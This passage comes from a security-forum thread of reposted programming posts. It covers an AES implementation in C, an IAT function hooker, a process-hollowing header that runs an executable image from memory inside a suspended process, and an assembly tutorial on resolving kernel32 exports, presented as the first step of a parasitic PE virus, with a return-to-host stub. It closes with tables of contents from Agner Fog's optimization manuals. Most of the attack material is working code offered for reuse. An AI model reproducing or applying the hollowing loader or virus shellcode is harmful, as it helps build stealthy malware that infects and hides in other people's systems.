temp = ctx->keysched[i-1]; if(!(i%ctx->kcol)) { temp = aes_subword(aes_rotword(temp)) ^ rcon; rcon = aes_mul(rcon, 2); } else if(ctx->kcol > 6 && i%ctx->kcol == 4) temp = aes_subword(temp); ctx->keysched[i] = ctx->keysched[i-ctx->kcol] ^ temp; } } inline unsigned char aes_mul_manual(unsigned char a, unsigned char { register unsigned short ac; register unsigned char ret; ac = a; ret = 0; while( { if(b & 0x01) ret ^= ac; ac <<= 1; b >>= 1; if(ac & 0x0100) ac ^= AES_RPOL; } return ret; } void aes_subbytes(aes_ctx_t *ctx) { int i; for(i = 0; i < 16; i++) { int x, y; x = i & 0x03; y = i >> 2; ctx->state[x][y] = g_aes_sbox[ctx->state[x][y]]; } } void aes_shiftrows(aes_ctx_t *ctx) { unsigned char nstate[4][4]; int i; for(i = 0; i < 16; i++) { int x, y; x = i & 0x03; y = i >> 2; nstate[x][y] = ctx->state[x][(y+x) & 0x03]; } memcpy(ctx->state, nstate, sizeof(ctx->state)); } void aes_mixcolumns(aes_ctx_t *ctx) { unsigned char nstate[4][4]; int i; for(i = 0; i < 4; i++) { nstate[0][i] = aes_mul(0x02, ctx->state[0][i]) ^ aes_mul(0x03, ctx->state[1][i]) ^ ctx->state[2][i] ^ ctx->state[3][i]; nstate[1][i] = ctx->state[0][i] ^ aes_mul(0x02, ctx->state[1][i]) ^ aes_mul(0x03, ctx->state[2][i]) ^ ctx->state[3][i]; nstate[2][i] = ctx->state[0][i] ^ ctx->state[1][i] ^ aes_mul(0x02, ctx->state[2][i]) ^ aes_mul(0x03, ctx->state[3][i]); nstate[3][i] = aes_mul(0x03, ctx->state[0][i]) ^ ctx->state[1][i] ^ ctx->state[2][i] ^ aes_mul(0x02, ctx->state[3][i]); } memcpy(ctx->state, nstate, sizeof(ctx->state)); } void aes_addroundkey(aes_ctx_t *ctx, int round) { int i; for(i = 0; i < 16; i++) { int x, y; x = i & 0x03; y = i >> 2; ctx->state[x][y] = ctx->state[x][y] ^ ((ctx->keysched[round*4+y] & (0xff << (x*8))) >> (x*8)); } } void aes_encrypt(aes_ctx_t *ctx, unsigned char input[16], unsigned char output[16]) { int i; // copy input to state for(i = 0; i < 16; i++) ctx->state[i & 0x03][i >> 2] = input[i]; aes_addroundkey(ctx, 0); for(i = 1; i < ctx->rounds; i++) { aes_subbytes(ctx); aes_shiftrows(ctx); aes_mixcolumns(ctx); aes_addroundkey(ctx, i); } aes_subbytes(ctx); aes_shiftrows(ctx); aes_addroundkey(ctx, ctx->rounds); // copy state to output for(i = 0; i < 16; i++) output[i] = ctx->state[i & 0x03][i >> 2]; } void aes_invshiftrows(aes_ctx_t *ctx) { unsigned char nstate[4][4]; int i; for(i = 0; i < 16; i++) { int x, y; x = i & 0x03; y = i >> 2; nstate[x][(y+x) & 0x03] = ctx->state[x][y]; } memcpy(ctx->state, nstate, sizeof(ctx->state)); } void aes_invsubbytes(aes_ctx_t *ctx) { int i; for(i = 0; i < 16; i++) { int x, y; x = i & 0x03; y = i >> 2; ctx->state[x][y] = g_aes_isbox[ctx->state[x][y]]; } } void aes_invmixcolumns(aes_ctx_t *ctx) { unsigned char nstate[4][4]; int i; for(i = 0; i < 4; i++) { nstate[0][i] = aes_mul(0x0e, ctx->state[0][i]) ^ aes_mul(0x0b, ctx->state[1][i]) ^ aes_mul(0x0d, ctx->state[2][i]) ^ aes_mul(0x09, ctx->state[3][i]); nstate[1][i] = aes_mul(0x09, ctx->state[0][i]) ^ aes_mul(0x0e, ctx->state[1][i]) ^ aes_mul(0x0b, ctx->state[2][i]) ^ aes_mul(0x0d, ctx->state[3][i]); nstate[2][i] = aes_mul(0x0d, ctx->state[0][i]) ^ aes_mul(0x09, ctx->state[1][i]) ^ aes_mul(0x0e, ctx->state[2][i]) ^ aes_mul(0x0b, ctx->state[3][i]); nstate[3][i] = aes_mul(0x0b, ctx->state[0][i]) ^ aes_mul(0x0d, ctx->state[1][i]) ^ aes_mul(0x09, ctx->state[2][i]) ^ aes_mul(0x0e, ctx->state[3][i]); } memcpy(ctx->state, nstate, sizeof(ctx->state)); } void aes_decrypt(aes_ctx_t *ctx, unsigned char input[16], unsigned char output[16]) { int i, j; // copy input to state for(i = 0; i < 16; i++) ctx->state[i & 0x03][i >> 2] = input[i]; aes_addroundkey(ctx, ctx->rounds); for(i = ctx->rounds-1; i >= 1; i--) { aes_invshiftrows(ctx); aes_invsubbytes(ctx); aes_addroundkey(ctx, i); aes_invmixcolumns(ctx); } aes_invshiftrows(ctx); aes_invsubbytes(ctx); aes_addroundkey(ctx, 0); // copy state to output for(i = 0; i < 16; i++) output[i] = ctx->state[i & 0x03][i >> 2]; } void aes_free_ctx(aes_ctx_t *ctx) { free(ctx); } int main(int argc, char *argv[]) { unsigned char key[KEY_128] = "uber strong key!"; unsigned char ptext[16] = "Attack at dawn!"; unsigned char ctext[16]; unsigned char decptext[16]; aes_ctx_t *ctx; init_aes(); ctx = aes_alloc_ctx(key, sizeof(key)); if(!ctx) { perror("aes_alloc_ctx"); return EXIT_FAILURE; } aes_encrypt(ctx, ptext, ctext); aes_decrypt(ctx, ctext, decptext); puts(decptext); aes_free_ctx(ctx); return EXIT_SUCCESS; } In the attached zip you will also find the compiled ELF binary. Download: http://www.rohitab.com/discuss/index.php?app=core&module=attach&section=attach&attach_id=2875 Sursa: [C] AES Implementation - rohitab.com - Forums
  21. [C] IAT Hooker ( not the bad kind ) Author: [h=3]Kazan[/h] So basically I got interested in the PE file structure and came up with this, a local function hooker. It basically finds the address of the a function from a specific loaded module and changes the address to a function defined by the user. This is interesting and fun with DLL injections and the like.Plus, it's just one call to the the whole work : FARPROC WINAPI ReplaceIATEntry( HMODULE hModuleHookFrom , const char * szModuleFileName , const char * szFunctionName , FARPROC frNewProc); #include <stdio.h> #include <windows.h> LPVOID IsDosStub(LPVOID Data); FARPROC WINAPI ReplaceIATEntry( HMODULE hModuleHookFrom , const char * szModuleFileName , const char * szFunctionName , FARPROC frNewProc); FARPROC Original_MessageBox=0;/*original address*/ FARPROC MessageBox_B ( HWND h_wind,LPCSTR lp_mess ,LPCSTR lp_cap,UINT i_ses ) { FARPROC a=Original_MessageBox; FARPROC b = a(h_wind, lp_mess,"Hooked etc.",0); /* return Original_MessageBox ( h_wind, lp_mess,"hooked etc.", 0 );*/ return b; } int main() { Original_MessageBox = ReplaceIATEntry(GetModuleHandle(0),"user32.dll","MessageBoxA",MessageBox_; if ( Original_MessageBox != 0 ) MessageBox(0,"Success",0,0); else return GetLastError(); } LPVOID IsDosStub(LPVOID data) { IMAGE_DOS_HEADER*Doshdr=data; if (IsBadReadPtr(Doshdr,sizeof(IMAGE_DOS_HEADER))) return 0; if (Doshdr->e_magic != IMAGE_DOS_SIGNATURE) return 0; return (data +Doshdr->e_lfanew); } FARPROC WINAPI ReplaceIATEntry( HMODULE hModuleHookFrom , const char * szModuleFileName , const char * szFunctionName , FARPROC frNewProc) { FARPROC frOriginalProc ; IMAGE_DOS_HEADER * Doshdr ; IMAGE_NT_HEADERS * ImageNt ; IMAGE_IMPORT_DESCRIPTOR * ImageImpDescriptor ; IMAGE_THUNK_DATA * ImageThunk ; DWORD dwRet , dwOld , dw; BOOLEAN bModuleFound=FALSE; if ( hModuleHookFrom == NULL) return 0; if ( IsBadCodePtr(frNewProc ) ) { #ifdef DEBUG printf("Invalid code pointer %08X\r\n",frNewProc); #endif return 0; } frOriginalProc = GetProcAddress ( GetModuleHandle ( szModuleFileName ) , szFunctionName ); if (!frOriginalProc) { #ifdef DEBUG puts("Function inexistant in module"); #endif return 0; } #ifdef DEBUG printf("Original function address %08X\r\n",frOriginalProc); #endif Doshdr = (unsigned char*)hModuleHookFrom; if ( IsBadReadPtr(Doshdr, sizeof(IMAGE_DOS_HEADER)) ) /* is valid image*/ return 0; ImageNt = IsDosStub(Doshdr); if ( ImageNt == 0 ) return 0; if ( IsBadReadPtr(ImageNt, sizeof(IMAGE_NT_HEADERS)) ) /* is valid image*/ return 0; if ( ImageNt->Signature != IMAGE_NT_SIGNATURE ) return 0; ImageImpDescriptor = (unsigned char*)Doshdr+ImageNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; if (ImageImpDescriptor == 0 ) return 0; while ( ImageImpDescriptor->Name ) { char * szModuleName = (unsigned char*) Doshdr + ImageImpDescriptor->Name; #ifdef DEBUG printf("Current Module : %s\r\n",pszModName ); #endif if ( stricmp(szModuleName, szModuleFileName) == 0 ) { bModuleFound++; break; } ImageImpDescriptor++; } if ( !bModuleFound ) return 0; ImageThunk = (unsigned char*)Doshdr + ImageImpDescriptor->FirstThunk ; while ( ImageThunk->u1.Function ) { #ifdef DEBUG printf(" Current Function address %08X\r\n", ImageThunk->u1.Function ); #endif if ( (unsigned char*)ImageThunk->u1.Function == (unsigned char*)frOriginalProc ) { #ifdef DEBUG printf(" Original function address call found ( %08X ) \r\n" , frOriginalProc ); #endif if (IsBadWritePtr( &ImageThunk->u1.Function, 4) )/*unacceptable if checks are run*/ { dwRet = VirtualProtect( &ImageThunk->u1.Function, 4, PAGE_EXECUTE_READWRITE, &dwOld ); /*make writable*/ ImageThunk->u1.Function = (DWORD)(unsigned char*)frOriginalProc; dwRet = VirtualProtect( &ImageThunk->u1.Function, 4, dwOld, &dw ); } else ImageThunk->u1.Function = (DWORD)(unsigned char*)frNewProc;/*damn typecasts*/ return frOriginalProc; } ImageThunk++; } return 0; } Sursa: IAT Hooker ( not the bad kind ) - rohitab.com - Forums
  22. Dynamic Process Forking of Portable Executable //-------------------------------------------------------- // Dynamic Process Forking of Portable Executable // Author : Vrillon / Venus // Date : 07/14/2008 //-------------------------------------------------------- /*********************************************************/ /* With this header, you can create and run a process */ /* from memory and not from a file. */ /*********************************************************/ #ifdef WIN32 #include <windows.h> #else #error Process Forking Requires a Windows Operating System #endif #include <stdio.h> ///////////////////////////////////////////////////////////// // NtUnmapViewOfSection (ZwUnmapViewOfSection) // Used to unmap a section from a process. typedef long int (__stdcall* NtUnmapViewOfSectionF)(HANDLE,PVOID); NtUnmapViewOfSectionF NtUnmapViewOfSection = (NtUnmapViewOfSectionF)GetProcAddress(LoadLibrary("ntdll.dll"),"NtUnmapViewOfSection"); ///////////////////////////////////////////////////////////// // Fork Process // Dynamically create a process based on the parameter 'lpImage'. The parameter should have the entire // image of a portable executable file from address 0 to the end. bool ForkProcess(LPVOID lpImage) { // Variables for Process Forking long int lWritten; long int lHeaderSize; long int lImageSize; long int lSectionCount; long int lSectionSize; long int lFirstSection; long int lPreviousProtection; long int lJumpSize; bool bReturnValue; LPVOID lpImageMemory; LPVOID lpImageMemoryDummy; IMAGE_DOS_HEADER dsDosHeader; IMAGE_NT_HEADERS ntNtHeader; IMAGE_SECTION_HEADER shSections[512 * 2]; PROCESS_INFORMATION piProcessInformation; STARTUPINFO suStartUpInformation; CONTEXT cContext; // Variables for Local Process FILE* fFile; char* pProcessName; long int lFileSize; long int lLocalImageBase; long int lLocalImageSize; LPVOID lpLocalFile; IMAGE_DOS_HEADER dsLocalDosHeader; IMAGE_NT_HEADERS ntLocalNtHeader; ///////////////////////////////////////////////////////////////// // End Variable Definition bReturnValue = false; pProcessName = new char[MAX_PATH]; ZeroMemory(pProcessName,MAX_PATH); // Get the file name for the dummy process if(GetModuleFileName(NULL,pProcessName,MAX_PATH) == 0) { delete [] pProcessName; return bReturnValue; } // Open the dummy process in binary mode fFile = fopen(pProcessName,"rb"); if(!fFile) { delete [] pProcessName; return bReturnValue; } fseek(fFile,0,SEEK_END); // Get file size lFileSize = ftell(fFile); rewind(fFile); // Allocate memory for dummy file lpLocalFile = new LPVOID[lFileSize]; ZeroMemory(lpLocalFile,lFileSize); // Read memory of file fread(lpLocalFile,lFileSize,1,fFile); // Close file fclose(fFile); // Grab the DOS Headers memcpy(&dsLocalDosHeader,lpLocalFile,sizeof(dsLocalDosHeader)); if(dsLocalDosHeader.e_magic != IMAGE_DOS_SIGNATURE) { delete [] pProcessName; delete [] lpLocalFile; return bReturnValue; } // Grab NT Headers memcpy(&ntLocalNtHeader,(LPVOID)((long int)lpLocalFile+dsLocalDosHeader.e_lfanew),sizeof(dsLocalDosHeader)); if(ntLocalNtHeader.Signature != IMAGE_NT_SIGNATURE) { delete [] pProcessName; delete [] lpLocalFile; return bReturnValue; } // Get Size and Image Base lLocalImageBase = ntLocalNtHeader.OptionalHeader.ImageBase; lLocalImageSize = ntLocalNtHeader.OptionalHeader.SizeOfImage; // Deallocate delete [] lpLocalFile; // Grab DOS Header for Forking Process memcpy(&dsDosHeader,lpImage,sizeof(dsDosHeader)); if(dsDosHeader.e_magic != IMAGE_DOS_SIGNATURE) { delete [] pProcessName; return bReturnValue; } // Grab NT Header for Forking Process memcpy(&ntNtHeader,(LPVOID)((long int)lpImage+dsDosHeader.e_lfanew),sizeof(ntNtHeader)); if(ntNtHeader.Signature != IMAGE_NT_SIGNATURE) { delete [] pProcessName; return bReturnValue; } // Get proper sizes lImageSize = ntNtHeader.OptionalHeader.SizeOfImage; lHeaderSize = ntNtHeader.OptionalHeader.SizeOfHeaders; // Allocate memory for image lpImageMemory = new LPVOID[lImageSize]; ZeroMemory(lpImageMemory,lImageSize); lpImageMemoryDummy = lpImageMemory; lFirstSection = (long int)(((long int)lpImage+dsDosHeader.e_lfanew) + sizeof(IMAGE_NT_HEADERS)); memcpy(shSections,(LPVOID)(lFirstSection),sizeof(IMAGE_SECTION_HEADER)*ntNtHeader.FileHeader.NumberOfSections); memcpy(lpImageMemoryDummy,lpImage,lHeaderSize); // Get Section Alignment if((ntNtHeader.OptionalHeader.SizeOfHeaders % ntNtHeader.OptionalHeader.SectionAlignment) == 0) { lJumpSize = ntNtHeader.OptionalHeader.SizeOfHeaders; } else { lJumpSize = (ntNtHeader.OptionalHeader.SizeOfHeaders/ntNtHeader.OptionalHeader.SectionAlignment); lJumpSize += 1; lJumpSize *= (ntNtHeader.OptionalHeader.SectionAlignment); } lpImageMemoryDummy = (LPVOID)((long int)lpImageMemoryDummy + lJumpSize); // Copy Sections To Buffer for(lSectionCount = 0; lSectionCount < ntNtHeader.FileHeader.NumberOfSections; lSectionCount++) { lJumpSize = 0; lSectionSize = shSections[lSectionCount].SizeOfRawData; memcpy(lpImageMemoryDummy,(LPVOID)((long int)lpImage + shSections[lSectionCount].PointerToRawData),lSectionSize); if((shSections[lSectionCount].Misc.VirtualSize % ntNtHeader.OptionalHeader.SectionAlignment)==0) { lJumpSize = shSections[lSectionCount].Misc.VirtualSize; } else { lJumpSize = (shSections[lSectionCount].Misc.VirtualSize/ntNtHeader.OptionalHeader.SectionAlignment); lJumpSize += 1; lJumpSize *= (ntNtHeader.OptionalHeader.SectionAlignment); } lpImageMemoryDummy = (LPVOID)((long int)lpImageMemoryDummy + lJumpSize); } ZeroMemory(&suStartUpInformation,sizeof(STARTUPINFO)); ZeroMemory(&piProcessInformation,sizeof(PROCESS_INFORMATION)); ZeroMemory(&cContext,sizeof(CONTEXT)); suStartUpInformation.cb = sizeof(suStartUpInformation); // Create Process if(CreateProcess(NULL,pProcessName,NULL,NULL,false,CREATE_SUSPENDED,NULL,NULL,&suStartUpInformation,&piProcessInformation)) { cContext.ContextFlags = CONTEXT_FULL; GetThreadContext(piProcessInformation.hThread,&cContext); // Check image base and image size if(lLocalImageBase == (long int)ntNtHeader.OptionalHeader.ImageBase && lImageSize <= lLocalImageSize) { VirtualProtectEx(piProcessInformation.hProcess,(LPVOID)((long int)ntNtHeader.OptionalHeader.ImageBase),lImageSize,PAGE_EXECUTE_READWRITE,(unsigned long*)&lPreviousProtection); } else { if(!NtUnmapViewOfSection(piProcessInformation.hProcess,(LPVOID)((DWORD)lLocalImageBase))) VirtualAllocEx(piProcessInformation.hProcess,(LPVOID)((long int)ntNtHeader.OptionalHeader.ImageBase),lImageSize,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE); } // Write Image to Process if(WriteProcessMemory(piProcessInformation.hProcess,(LPVOID)((long int)ntNtHeader.OptionalHeader.ImageBase),lpImageMemory,lImageSize,(unsigned long*)&lWritten)) { bReturnValue = true; } // Set Image Base if(WriteProcessMemory(piProcessInformation.hProcess,(LPVOID)((long int)cContext.Ebx + 8),&ntNtHeader.OptionalHeader.ImageBase,4,(unsigned long*)&lWritten)) { if(bReturnValue == true) bReturnValue = true; } if(bReturnValue == false) { delete [] pProcessName; delete [] lpImageMemory; return bReturnValue; } // Set the new entry point cContext.Eax = ntNtHeader.OptionalHeader.ImageBase + ntNtHeader.OptionalHeader.AddressOfEntryPoint; SetThreadContext(piProcessInformation.hThread,&cContext); if(lLocalImageBase == (long int)ntNtHeader.OptionalHeader.ImageBase && lImageSize <= lLocalImageSize) VirtualProtectEx(piProcessInformation.hProcess,(LPVOID)((long int)ntNtHeader.OptionalHeader.ImageBase),lImageSize,lPreviousProtection,0); // Resume the process ResumeThread(piProcessInformation.hThread); } delete [] pProcessName; delete [] lpImageMemory; return bReturnValue; } ///////////////////////////////////////////////////////////// // Fork Process From Resource // Dynamically create a process from a resource file. bool ForkProcessFromResource(int iResource,char* pResourceSection) { HGLOBAL hResData; HRSRC hResInfo; LPVOID lpRes; LPVOID lpMemory; long int lSize; HMODULE hModule; bool bReturn; hModule = GetModuleHandle(0); bReturn = false; if(!hModule) return bReturn; hResInfo = FindResource(hModule, MAKEINTRESOURCE(iResource), pResourceSection); if(!hResInfo) { return bReturn; } hResData = LoadResource(hModule, hResInfo); if(!hResData) { return bReturn; } lpRes = LockResource(hResData); if(!lpRes) { FreeResource(hResData); return bReturn; } lSize = SizeofResource(hModule, hResInfo); lpMemory = new LPVOID[lSize]; ZeroMemory(lpMemory,lSize); memcpy (lpMemory, lpRes, lSize); bReturn = ForkProcess(lpMemory); FreeResource(hResData); delete [] lpMemory; return bReturn; } Download: http://pastebin.com/6QXuSsa7 Via: Run from memory - rohitab.com - Forums
  23. [h=1]Finding Kernel32 Base and walking its export table[/h]Author: [h=3]SIGSEGV[/h] Hey all , I'll just begin as the title says it all. Only Basic PE-format and assembly knowledge are required. The baby steps of any parasitic PE virus should be Finding the Kernel32 Base in the current process address space , then walking its export table to extract the addresses of all the functions it needs. To find the Kernel base , We'll exploit the fact that the Process Environment Block structure of the current process holds a list of the modules , loaded in the process's address space , in their memory loading order , InMemoryOrderModuleList. In Windows NT , The value at offset 0x30 of the FS segment points to the PEB structure : typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; BOOLEAN Spare; HANDLE Mutant; PVOID ImageBaseAddress; PPEB_LDR_DATA LoaderData; // The rest of the structure is irrelevant to us } PEB, *PPEB; So , we follow the LoaderData pointer , which takes us to another structure , PEB_LDR_DATA : typedef struct _PEB_LDR_DATA { ULONG Length; BOOLEAN Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; } PEB_LDR_DATA, *PPEB_LDR_DATA; InMemoryOrderModule is a double linked list and it's what we are interested in , each entry in the list points to an LDR_MODULE structure : typedef struct _LDR_MODULE { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; //..... } LDR_MODULE, *PLDR_MODULE; This structure holds the base address of it's module ,, Now , from Windows 2000 and up to windows 7 , The third module loaded in memory will always be that kernel32.dll. Putting all into code : mov ebx, [FS : 0x30] ; PEB mov ebx, [ebx + 0x0C] ; PEB->Ldr mov ebx, [ebx + 0x14] ; PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry) mov ebx, [ebx] ; 2nd Entry mov ebx, [ebx] ; 3rd Entry mov ebx, [ebx + 0x10] ; Third entry's base address (Kernel32.dll) mov [ebp+dwKernelBase] , ebx The following example does the following : Find Kernel32.dll base address Parse it's export tables to locate GetProcAddress Use it to locate LoadLibraryA Use it to Load User32.dll into the current address space Use GetProcAddress to locate MessageBoxA in User32.dll Display a Message box Return to Host. I'm in the middle of my final exams , so I'm afraid I can't explain the example thoroughly , but anyone with basic PE and assembly knowledge should easily grasp it. ; By SIGSEGV [BITS 32] pushad call CodeStart CodeStart: pop ebp sub ebp,CodeStart ; delta offset shit mov ebx, [FS : 0x30] ; get a pointer to the PEB mov ebx, [ebx + 0x0C] ; get PEB->Ldr mov ebx, [ebx + 0x14] ; get PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry) mov ebx, [ebx] ; 2nd Entry mov ebx, [ebx] ; 3rd Entry mov ebx, [ebx + 0x10] ; Get Kernel32 Base mov [ebp+dwKernelBase] , ebx add ebx, [ebx+0x3C] ; Start of PE header mov ebx, [ebx+0x78] ; RVA of export dir add ebx, [ebp+dwKernelBase] ; VA of export dir mov [ebp+dwExportDirectory] , ebx lea edx,[ebp+api_GetProcAddress] mov ecx,[ebp+len_GetProcAddress] call GetFunctionAddress mov [ebp+AGetProcAddressA] , eax lea edx,[ebp+api_LoadLibrary] push edx push dword [ebp+dwKernelBase] call eax mov [ebp+ALoadLibraryA] , eax lea edx , [ebp+szUser32] push edx call eax lea edx , [ebp+api_MessageBoxA] push edx push eax mov ebx,[ebp+AGetProcAddressA] call ebx mov [ebp+AMessageBoxAA] , eax push 0 lea edx,[ebp+szTitle] push edx lea edx,[ebp+szMsg] push edx push 0 call eax popad push 0xBBBBBBBB ;OEP retn ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; <<<<< GetFunctionAddress >>>>>> ; ; Extracts Function Address From Export Directory and returns it in eax ; ; Parameters : Function name in edx , Length in ecx ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; GetFunctionAddress: push ebx push esi push edi mov esi, [ebp+dwExportDirectory] mov esi, [esi+0x20] ;RVA of ENT add esi, [ebp+dwKernelBase] ;VA of ENT xor ebx,ebx cld looper: inc ebx lodsd add eax , [ebp+dwKernelBase] ;eax now points to the string of a function push esi ;preserve it for the outer loop mov esi,eax mov edi,edx cld push ecx repe cmpsb pop ecx pop esi jne looper dec ebx mov eax,[ebp+dwExportDirectory] mov eax,[eax+0x24] ;RVA of EOT add eax,[ebp+dwKernelBase] ;VA of EOT movzx eax , word [ebx*2+eax] ;eax now holds the ordinal of our function mov ebx,[ebp+dwExportDirectory] mov ebx,[ebx+0x1C] ;RVA of EAT add ebx,[ebp+dwKernelBase] ;VA of EAT mov ebx,[eax*4+ebx] add ebx,[ebp+dwKernelBase] mov eax,ebx pop edi pop esi pop ebx ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Data Shit ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; szTitle: db "Yo !",0 szMsg: db "GreeTz From SIGSEGV",0 szUser32 db "User32.dll",0 AGetProcAddressA: dd 0 api_GetProcAddress: db "GetProcAddress" len_GetProcAddress: dd $-api_GetProcAddress ALoadLibraryA: dd 0 api_LoadLibrary: db "LoadLibraryA",0 AMessageBoxAA: dd 0 api_MessageBoxA: db "MessageBoxA",0 dwKernelBase: dd 0 dwExportDirectory: dd 0 That's it , but I shall post the complete virus source when i get through my exams. Hope you enjoyed this quick tutorial , any feedback is appreciated. Greets , SIGSEGV. Sursa: [Quick tutorial] Finding Kernel32 Base and walking its export table. - rohitab.com - Forums
  24. Calling conventions for different C++ compilers and operating systems By Agner Fog. Copenhagen University College of Engineering. Copyright © 2004 - 2011. Last updated 2011-06-08. Contents 1 Introduction ....................................................................................................................... 3 2 The need for standardization............................................................................................. 5 3 Data representation........................................................................................................... 6 4 Data alignment .................................................................................................................. 8 5 Stack alignment................................................................................................................. 9 6 Register usage................................................................................................................ 10 6.1 Can floating point registers be used in 64-bit Windows? ........................................... 13 6.2 YMM vector registers................................................................................................ 14 6.3 Register usage in kernel code................................................................................... 14 7 Function calling conventions ........................................................................................... 16 7.1 Passing and returning objects................................................................................... 19 7.2 Passing and returning SIMD types............................................................................ 22 8 Name mangling ............................................................................................................... 24 8.1 Microsoft name mangling.......................................................................................... 28 8.2 Borland name mangling ............................................................................................ 33 8.3 Watcom name mangling ........................................................................................... 34 8.4 Gnu2 name mangling................................................................................................ 35 8.5 Gnu3-4 name mangling ............................................................................................ 37 8.6 Intel name mangling for Windows ............................................................................. 39 8.7 Intel name mangling for Linux ................................................................................... 40 8.8 Symantec and Digital Mars name mangling .............................................................. 40 8.9 Codeplay name mangling ......................................................................................... 40 8.10 Other compilers ...................................................................................................... 40 8.11 Turning off name mangling with extern "C" ............................................................. 41 8.12 Conclusion.............................................................................................................. 42 9 Exception handling and stack unwinding ......................................................................... 42 10 Initialization and termination functions........................................................................... 43 11 Virtual tables and runtime type identification.................................................................. 43 12 Communal data............................................................................................................. 44 13 Memory models............................................................................................................. 44 13.1 16-bit memory models ............................................................................................ 44 13.2 32-bit memory models ............................................................................................ 45 13.3 64-bit memory models in Windows ......................................................................... 45 13.4 64-bit memory models in Linux and BSD ................................................................ 45 13.5 64-bit memory models in Intel-based Mac (Darwin) ................................................ 45 14 Relocation of executable code....................................................................................... 46 15 Object file formats .........................................................................................................48 15.1 OMF format............................................................................................................. 48 15.2 COFF format........................................................................................................... 49 15.3 ELF format.............................................................................................................. 49 15.4 Mach-O format........................................................................................................ 50 15.5 a.out format............................................................................................................. 50 15.6 Comparison of object file formats............................................................................ 50 15.7 Conversion between object file formats................................................................... 50 15.8 Intermediate file formats ......................................................................................... 51 16 Debug information......................................................................................................... 51 17 Data endian-ness .......................................................................................................... 52 2 18 Predefined macros ........................................................................................................ 52 19 Available C++ Compilers ............................................................................................... 54 19.1 Microsoft .................................................................................................................54 19.2 Borland ...................................................................................................................54 19.3 Watcom .................................................................................................................. 54 19.4 Gnu......................................................................................................................... 54 19.5 Digital Mars............................................................................................................. 54 19.6 Codeplay ................................................................................................................ 54 19.7 Intel......................................................................................................................... 54 20 Literature...................................................................................................................... 55 20.1 ABI’s for Unix, Linux, BSD and Mac OS X (Intel-based).......................................... 55 20.2 ABIs for Windows.................................................................................................... 55 20.3 Object file format specifications............................................................................... 56 21 Copyright notice ............................................................................................................56 22 Acknowledgments ......................................................................................................... 56 Via: Software optimization resources - rohitab.com - Forums Download: http://agner.org/optimize/calling_conventions.pdf
  25. Instruction tables Lists of instruction latencies, throughputs and microoperation breakdowns for Intel, AMD and VIA CPUs By Agner Fog. Copenhagen University College of Engineering. Copyright © 1996 - 2011. Last updated 2011-06-08. Contents 1 Introduction ....................................................................................................................... 3 1.1 Definition of terms....................................................................................................... 4 1.2 Microprocessor versions tested .................................................................................. 5 1.3 How the values were measured.................................................................................. 6 2 List of instruction timings for Intel Pentium and Pentium MMX........................................... 8 2.1 Integer instructions (Pentium and Pentium MMX) ....................................................... 8 2.2 Floating point instructions (Pentium and Pentium MMX) ........................................... 10 2.3 MMX instructions (Pentium MMX)............................................................................. 12 3 List of instruction timings and µop breakdown for Intel Pentium II and Pentium III........... 13 3.1 Integer instructions (Pentium Pro, Pentium II and Pentium III) .................................. 13 3.2 Floating point x87 instructions (Pentium Pro, Pentium II and Pentium III) ................. 16 3.3 Integer MMX instructions (Pentium II and Pentium III) .............................................. 17 3.4 Floating point XMM instructions (Pentium III) ............................................................ 19 4 List of instruction timings and µop breakdown for Intel Pentium M................................... 21 4.1 Integer instructions.................................................................................................... 21 4.2 Floating point x87 instructions................................................................................... 25 4.3 Integer MMX and XMM instructions .......................................................................... 26 4.4 Floating point XMM instructions ................................................................................ 29 5 List of instruction timings and µop breakdown for Intel Core 2 (Merom, 65nm)................ 32 5.1 Integer instructions.................................................................................................... 33 5.2 Floating point x87 instructions................................................................................... 37 5.3 Integer MMX and XMM instructions .......................................................................... 39 5.4 Floating point XMM instructions ................................................................................ 42 6 List of instruction timings and µop breakdown for Intel Core 2 (Wolfdale, 45nm) ............. 45 6.1 Integer instructions.................................................................................................... 46 6.2 Floating point x87 instructions................................................................................... 50 6.3 Integer MMX and XMM instructions .......................................................................... 52 6.4 Floating point XMM instructions ................................................................................ 56 7 List of instruction timings and µop breakdown for Intel Nehalem ..................................... 59 7.1 Integer instructions.................................................................................................... 60 7.2 Floating point x87 instructions................................................................................... 65 7.3 Integer MMX and XMM instructions .......................................................................... 67 7.4 Floating point XMM instructions ................................................................................ 71 8 List of instruction timings and µop breakdown for Intel Sandy Bridge .............................. 74 8.1 Integer instructions.................................................................................................... 75 8.2 Floating point x87 instructions................................................................................... 79 8.3 Integer MMX and XMM instructions .......................................................................... 81 8.4 Floating point XMM instructions ................................................................................ 85 9 List of instruction timings and µop breakdown for Intel Pentium 4.................................... 90 9.1 integer instructions.................................................................................................... 91 9.2 Floating point x87 instructions................................................................................... 95 9.3 Integer MMX and XMM instructions .......................................................................... 96 9.4 Floating point XMM instructions ................................................................................ 98 10 List of instruction timings and µop br. for Intel Pentium 4 w. EM64T (Prescott)............ 100 10.1 Integer instructions................................................................................................ 101 2 10.2 Floating point x87 instructions............................................................................... 105 10.3 Integer MMX and XMM instructions ...................................................................... 107 10.4 Floating point XMM instructions ............................................................................ 109 11 List of instruction timings and µop breakdown for Intel Atom....................................... 111 11.1 Integer instructions................................................................................................ 111 11.2 Floating point x87 instructions............................................................................... 116 11.3 Integer MMX and XMM instructions ...................................................................... 118 11.4 Floating point XMM instructions ............................................................................ 120 12 List of instruction timings and µop breakdown for VIA Nano 2000 series..................... 122 12.1 Integer instructions................................................................................................ 122 12.2 Floating point x87 instructions............................................................................... 126 12.3 Integer MMX and XMM instructions ...................................................................... 128 